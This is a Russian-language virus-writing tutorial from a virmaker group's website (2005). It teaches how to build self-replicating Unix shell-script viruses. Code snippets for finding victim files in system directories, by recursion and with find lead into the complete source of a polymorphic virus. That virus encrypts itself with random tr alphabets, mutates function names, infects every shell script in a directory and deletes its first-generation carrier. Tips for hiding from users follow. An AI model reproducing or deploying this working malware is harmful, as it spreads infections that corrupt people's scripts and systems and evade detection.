Welcome to The Passion Of Code Laboratory!!!Статьи

Вирусы на скриптовом языке для Unix.

Часть 2

Автор: FreeMan / TPOC

Содержание

1. Вступление.

2. Методы поиска жертв

2.1. Поиск в заранее определённых местах

2.2. Поиск в поддиректориях

2.3. DotDot метод ".."

2.4. Юзаем find

3. Продвинутые техники.

3.1. Полиморфизм

3.2. Искусство пряток

4. Заключение

1. Введение

Мы уже рассмотрели базовые техники заражения, а также поиска жертвы. Теперь пришло время рассмотреть более серьёзные методы. Надеюсь, что вы достаточно хорошо разобрались с основными командами и материалом предыдущей статьи. Если это так, то можете начинать изучать материал, изложенный ниже.

2. Методы поиска жертв

В предыдущей статье были рассмотрены методы выявления жертв среди остальных файлов. Но возможности распространения наших вирусов были очень сильно ограничены, так как поиск файлов осуществлялся только в текущей директории. Вирус, который заражает файлы только в текущей директории имеет очень мало шансов выжить. В этой главе будут рассмотрены методы поиска жертв, обхода директорий.

2.1. Поиск в заранее определённых местах

Данный способ поиска самый простой из всех существующих. Его можно использовать не только в вирях скриптовом языке, но и при написании любого другого виря. Суть метода в том, что мы просто перебираем каталоги, которые определены в теле вируса. Так как система имеет чёткую структуру, можно определить каталоги, в которых находятся скрипты, которые использует система (или исполняемые файлы, если вы их заражаете). Примерами таких папок есть /etc/init.d/ и /sbin Теперь посмотрим код, который иллюстрирует данный подход.

============начало=======knowdirs=======
#!/bin/sh catalogs="/etc/init.d /sbin"
for a in $catalogs; do { cd $a; ls -l; } 2>/dev/null; done
===========конец========================

Думаю, что этот код не вызывает у вас затруднений. Мы просто заходим в каждый каталог, который объявлен в переменной catalogs, и печатаем его содержимое. Вместо печати содержимого можете вставить код вируса, который заражает файлы в текущей директории. На случай, если вас смущает использование блоков, приведу тот же код в более понятном виде.

============начало=======knowdirs1=======
#!/bin/sh catalogs="/etc/init.d /sbin" for a in $catalogs do cd $a 2>/dev/null ls -l #virus done ===========конец========================= 

Данный метод не совершенен, но очень легко воспринимается. Его слабость - это то, что с увеличением кол-ва директорий увеличивается тело вируса, а также то, что каждый потомок атакует эти зараженные директории.

2.2. Поиск в поддиректориях

Это мой любимый способ поиска жертв. При его использовании, заражению подлежат все каталоги, которые находятся в данном каталоге, а также каталоги, которые находятся в каталогах, которые находятся в данном каталоге... Явная рекурсия. Для того, чтобы написАть вам код, несколько слов о ф-иях. Функции - это блоки, которые имеют имя.

hello () { echo hello, $1 } hello vasya

Теперь посмотрите код рекурсивного обхода каталогов

=============начало========rekurs====
#!/bin/sh rekurs () { cd $1 #virus for a in * do [ -d $a ] && rekurs $a #virus done cd .. } rekurs ./ =============конец===================

Тело вируса можно вставить как на месте первой пометки (#virus), так и на месте второй. Только в первом случае надо будет ещё оформить цикл обхода всех файлов, а вторая пометка стоит уже внутри такого цикла.

2.3. DotDot метод ".."

Простой метод, который появился в ДОС-зверьках и живёт по сей день. Суть в том что просматривается содержимое каталога, для которого данный является подкаталогом. Рассмотрим пример, иллюстрирующий данный способ.

=============начало=========dotdot===
#!/bin/sh while [ "$PWD" != "/" ] do cd .. #virus echo $PWD done
=============конец===================

У меня результатом работы данного скрипта был вывод следующих строк: /home/freeman/proj/dev /home/freeman/proj /home/freeman /home / В примере использована переменная окружения $PWD, которая содержит путь к текущему каталогу.

2.4. Юзаем find

Ищем файлы с помощью find, что может быть проще? Немного посмотрев man по данной команде можно с легкостью найти все файлы, которые могут нам пригодиться в качестве жертв.

for a in `find / -perm +111 -type f` do echo $a done 

Все предложенные способы поиска жертв имеют одну особенность. Они могут предлагать огромное кол-во файлов, на обработку которых может потребоваться некоторое кол-во времени, что может вызвать подозрение. Поэтому лучше либо ограничивать число файлов, которые требуется заразить, либо запускать вирус параллельно жертве.

3. Продвинутые техники.

В этой части будут рассмотрены более продвинутые техники заражения. Их применение делает вирус менее детектируемым, заметным. На скриптовом языке легко можно написАть практически любой вирус и даже "прицепить" к нему полиморфный движок. На первый взгляд код может показаться сложным, но если в нём разобраться, то всё становится предельно ясно.

3.1. Полиморфизм

Если вы уже делали полиморфные вирусы, то лучше не читайте этот раздел, так как я писАл это имея только поверхностные знания о полиморфизме и на низком уровне движков не делал. Полиморфных зверей трудно делать на языке низкого уровня, но на скриптовом языке это очень легко. Итак, пару слов о полиморфизме... В полиморфном вире должны присутствовать: - шивровщик, который будет шифровать тело вируса для того, чтобы было трудно распознать его - расшифровщик, который будет расшифровывать наш вирус и передавать ему управление - использование мутации (замена имён функций и переменных, использование эквивалентных команд) - генерация мусорных команд. (комментарии или что-то типа echo blabla > /dev/null) Начнём написание зверька. Представим себе зараженный файл:

1) метка заражения

2) расшифровщик, который расшифрует тело вируса и запустит его

3) зашифрованное тело вируса

4) тело жертвы без первой строки (#!/bin/sh)

Сначала выберем способ шифровки/расшифровки тела вируса. В криптографии я не силён, поэтому выбрал метод замены алфавита: когда есть два алфавита, только с разным порядком букв. Например, когда есть два алфавита вида qwertyuiopasdfghjklzxcvbnm qazwsxedcrfvtgbyhnujmikolp то сообщение "hello world" будет зашифровано как "yzuuc acwut". Можете проверить:

echo "hello world" | tr qwertyuiopasdfghjklzxcvbnm qazwsxedcrfvtgbyhnujmikolp 

На этом принципе и этой команде будет работать шифровка/расшифровка, ведь если команде tr подсунуть зашифрованный текст и алфавиты в обратном порядке, то мы получим исходный текст. Если поставить такой набор из двух алфавитов, то наш вирус всегда будет выглядеть в зашифрованном виде практически одинаково, ведь хаос, застывший во времени есть система, следует сделать так, чтобы хаос хаотически менялся. Для этого мы можем написать функцию генерации случайного алфавита. Но для получения случайного алфавита нам нужны случайные буквы. Напишем функцию генерации случайной буквы

randchar () { sss=(q w e r t y u i o p a s d f g h j k l z x c v b n m) echo ${sss[`expr $RANDOM % 26`]} }

В массиве sss содержатся все буквы английского алфавита. Также в системе есть переменная окружения $RANDOM, которая постоянно меняет значение, то есть является генератором случайных чисел `expr $RANDOM % 26` возвращает случайное число в интервале 0..25. % работает аналогично mod. То есть выводится один из элементов массива (случайная буква). Потом она выводится. Теперь напишем функцию образования случайного алфавита (ею будем и имена переменных генерировать)

getword ()
{
word="" while ! [ ${#word} -eq $1 ] do c=`randchar` word=`echo $word | tr -d $c`$c done echo $word
}
2>/dev/null

Функция на входе должна получить кол-во букв в генерируемом слове и сгенерировать слово так, чтоб буквы не повторялись (это значит, что максимальная длина нашего слова зависит от кол-ва букв в нашем алфавите). ${#word} - содержит кол-во букв в переменной $1 - содержит кол-во требуемых букв Цикл продолжается до тех пор, пока кол-во букв в переменной не станет равно заданному. В цикле переменной $c присваивается случайная буква. Если генерируемом слове есть такая буква, она вырезается, а данная ставится в конец, что исключает повторение одной буквы несколько раз. Теперь напишем функцию замены заданных слов на случайные в файле.

zamperem () { perems="zamperem getword randchar perems" s=`expr $RANDOM % 4 + 3` for a in $perems do cat $1 | sed -e "s/${a}/`getword ${s}`/g" > $1 done } 2>/dev/null 

Функция получает имя файла, в котором заменять. $perems - список слов для замены $s - случайное число в интервале 3..6 (кол-во букв в генерируемом слове) В цикле читается файл и если встречается слово из списка, оно заменяется на случайное. То есть, встречалось у нас слово randchar, а вместо него в следующем поколении, если его расшифровать, везде стоит что-то типа "fdseq" Ну с функциями поигрались и хватит. Пишем тело вируса. vic='.aaa' Выберем имя временного файла for e in `printf '\x2a'` Тут по стандарту, только "*" заменена на `printf '\x2a'`. Иначе заменяется в следующем поколении на список файлов в текущей директории, а нам нужна звёздочка, а не список.

do if [ "`head -1 $e`" = "#!/bin/sh" -a -x $e -a "`head -2 $e | sed -e "1d"`" != "#freeman" ] then  

Проверка на "скриптовость" файла, а также на его "зараженность" cp $0 $vic Копируем тело вируса во временной файл zamperem $vic Заменяем имена переменных bukv1=`getword 26` bukv2=`getword 26` Получаем 2 случайных алфавита crypt=`cat $vic | tr $bukv1'\n' $bukv2\`printf '\xff'\`` Суём в переменную шифрованный случайными "алфавитами" временный файл. При чём перенос строки тоже заменяется. if [ "`expr $RANDOM % 2`" = "1" ] then Типа дальше 2 возможных варианта расшифровщика и эта проверка случайным образом выбирает один из них echo "#!/bin/sh" > $vic echo "#freeman" >> $vic Зашибаем во временной файл заголовок. Всё что там было до этого исчезает, оно содержится в переменной в зашифрованном виде echo 'head -4 $0 | sed -e "2d" -e "1d" -e "3d" | tr '${bukv2}'`printf "\xff"` '${bukv1}'"\n" >> ....; chmod +x ....' >> $vic Заливаем туда расшифровщик с именем "...." :) Причём наборы букв в файле будут выглядеть не как имена переменных в фигурных скобках, а как наборы букв. echo $crypt >> $vic Кидаем зашифрованное тело виря. echo 'sh ./.... &' >> $vic Команда запуска виря else 2-й вариант расшифровщика head -2 $0 > $vic Заголовок берём с текущего файла echo 'fst="head"' >> $vic В переменную тащим имя команды echo '${fst} -5 $0 | sed -e "3d" -e "2d" -e "1d"-e "4d" | tr '${bukv2}'`printf "\xff"` '${bukv1}'"\n" >> ...; chmod +x ...' >> $vic echo $crypt >> $vic echo 'sh ./... &' >> $vic Опять расшифровщик (немного изменённый), зашифрованное тело виря, команда запуска. fi cat $e | sed -e "1d" >> $vic Теперь закидуем во временной файл текст скрипта-жертвы mv $vic $e 2>>/dev/null Заменяем файл-жертву временным файлом fi done Когда все файлы заразили.... rm -f $0 самоуничтожаемся, ведь мы во временном файле с именем "...." или "..." В результате должен получится примерно такой зверёк:

===============начало=========poly========
 #!/bin/sh #freeman randchar () { sss=(q w e r t y u i o p a s d f g h j k l z x c v b n m) echo ${sss[`expr $RANDOM % 26`]} } getword () { word="" while ! [ ${#word} -eq $1 ] do c=`randchar` word=`echo $word | tr -d $c`$c done echo $word } 2>/dev/null zamperem () { perems="zamperem getword randchar perems" s=`expr $RANDOM % 4 + 3` for a in $perems do cat $1 | sed -e "s/${a}/`getword ${s}`/g" > $1 done } 2>/dev/null vic='.aaa' for e in `printf '\x2a'` do if [ "`head -1 $e`" = "#!/bin/sh" -a -x $e -a "`head -2 $e | sed -e "1d"`" != "#freeman" ] then cp $0 $vic zamperem $vic bukv1=`getword 26` bukv2=`getword 26` crypt=`cat $vic | tr $bukv1'\n' $bukv2\`printf '\xff'\`` if [ "`expr $RANDOM % 2`" = "1" ] then echo "#!/bin/sh" > $vic echo "#freeman" >> $vic echo 'head -4 $0 | sed -e "2d" -e "1d" -e "3d" | tr '${bukv2}'`printf "\xff"` '${bukv1}'"\n" >> ....; chmod +x ....' >> $vic echo $crypt >> $vic echo 'sh ./.... &' >> $vic else head -2 $0 > $vic echo 'fst="head"' >> $vic echo '${fst} -5 $0 | sed -e "3d" -e "2d" -e "1d"-e "4d" | tr '${bukv2}'`printf "\xff"` '${bukv1}'"\n" >> ...; chmod +x ...' >> $vic echo $crypt >> $vic echo 'sh ./... &' >> $vic fi cat $e | sed -e "1d" >> $vic mv $vic $e 2>>/dev/null fi done rm -f $0
===============конец=======================   

В данном вирусе упущена функция создания мусора, которая генерирует мусор, используя функцию генерации случайных слов. Вы вполне можете и сами накодить её. Посмотрим содержимое директории до и после заражения: до:
drwxr-xr-x 2 freeman freeman 4096 Авг 6 19:23 ./
drwxrwxr-x 4 freeman freeman 4096 Авг 5 19:41 ../
-rwxr-xr-x 1 freeman freeman 1231 Авг 6 18:12 poly* --------- наш вирус в первом поколении, потом он имеет имя "...." или "..."
-rwxr-xr-x 1 freeman freeman 19 Авг 6 19:22 droz1*
-rwxr-xr-x 1 freeman freeman 19 Авг 6 19:22 droz2*
-rwxr-xr-x 1 freeman freeman 19 Авг 6 19:22 droz3*
-rwxr-xr-x 1 freeman freeman 19 Авг 6 19:22 droz4*
-rwxr-xr-x 1 freeman freeman 19 Авг 6 19:22 droz5*
-rwxr-xr-x 1 freeman freeman 19 Авг 6 19:22 droz6*
-rwxr-xr-x 1 freeman freeman 19 Авг 6 19:22 droz7*

------ 7 жертв после:

drwxr-xr-x 2 freeman freeman 4096 Авг 6 19:27 ./
drwxrwxr-x 4 freeman freeman 4096 Авг 5 19:41 ../
-rwxr-xr-x 1 freeman freeman 1399 Авг 6 19:25 droz1*
-rwxr-xr-x 1 freeman freeman 1385 Авг 6 19:25 droz2*
-rwxr-xr-x 1 freeman freeman 1402 Авг 6 19:25 droz3*
-rwxr-xr-x 1 freeman freeman 1403 Авг 6 19:25 droz4*
-rwxr-xr-x 1 freeman freeman 1388 Авг 6 19:25 droz5*
-rwxr-xr-x 1 freeman freeman 1386 Авг 6 19:25 droz6*
-rwxr-xr-x 1 freeman freeman 1374 Авг 6 19:25 droz7*
Как видно, носитель первого поколения исчез, а дрозофилки выросли (при чём не на фиксированное кол-во байт) Теперь посмотрим на то, как выглядят наши зараженные зверьки.

#!/bin/sh #freeman head -4 $0 | sed -e "2d" -e "1d" -e "3d" | tr gabzdotqkfpywvluenxhsirmcj`printf "\xff"` bzdokfywhauenxjsirmcptqvlg"\n" >> ....; chmod +x .... #шифрованное тело sh ./.... & echo asdf или #!/bin/sh #freeman fst="head" ${fst} -5 $0 | sed -e "3d" -e "2d" -e "1d"-e "4d" | tr mcotzhenxjdirkfpyqvlgauwbs`printf "\xff"` irmotbzhsuenxjdqckfpywvlga"\n" >> ...; chmod +x ... #шифрованное тело sh ./... & echo asdf  

Как видите, создание скриптовых вирусов - дело не очень сложное. Также не сложно выдумать к ним полезную нагрузку (пусть эта нагрузка будет действительно полезной, а не вариантом форматирования винта или вывода тупого сообщения в консоль).

3.2. Искусство пряток

Сразу скажу, что скриптовый вирус особо не спрячешь. Кто ищет, тот всегда найдёт. Но существует несколько приёмов, которые позволяют спрятать вирус от неопытного юзера.

1) Используйте имена временных файлов, которые начинаются с точки.

2) Чтоб не засечься, весь вывод ошибок перенаправляйте в /dev/null, его объем безграничен.

3) Можно выдавать себя за консоль и вывод "опасных" команд корректировать (менять размер). Это очень сложно осуществить.

4. Заключение

Надеюсь, что прочитав эту статью вы узнали что-нибудь новое. Если это так, то пишите мне на мыло (echo 'flfer@wovxoc.rqy' | tr fwrloexycvq vbnoiamtrge). Задавайте вопросы, критикуйте. Теперь благодарности:

Russ Sage. Именно по его книге (названия не помню) я постигал тонкости shell :)

[29А]. За ваши туториалы.

[TPOC]. Моя команда всё-таки.

Создателям линуха. До сих пор не пойму, как такая толпа программеров смогла создать такую прекрасную систему. А также всем, кто прочитал эту статью.

Исходник

[C] FreeMan / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 17 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)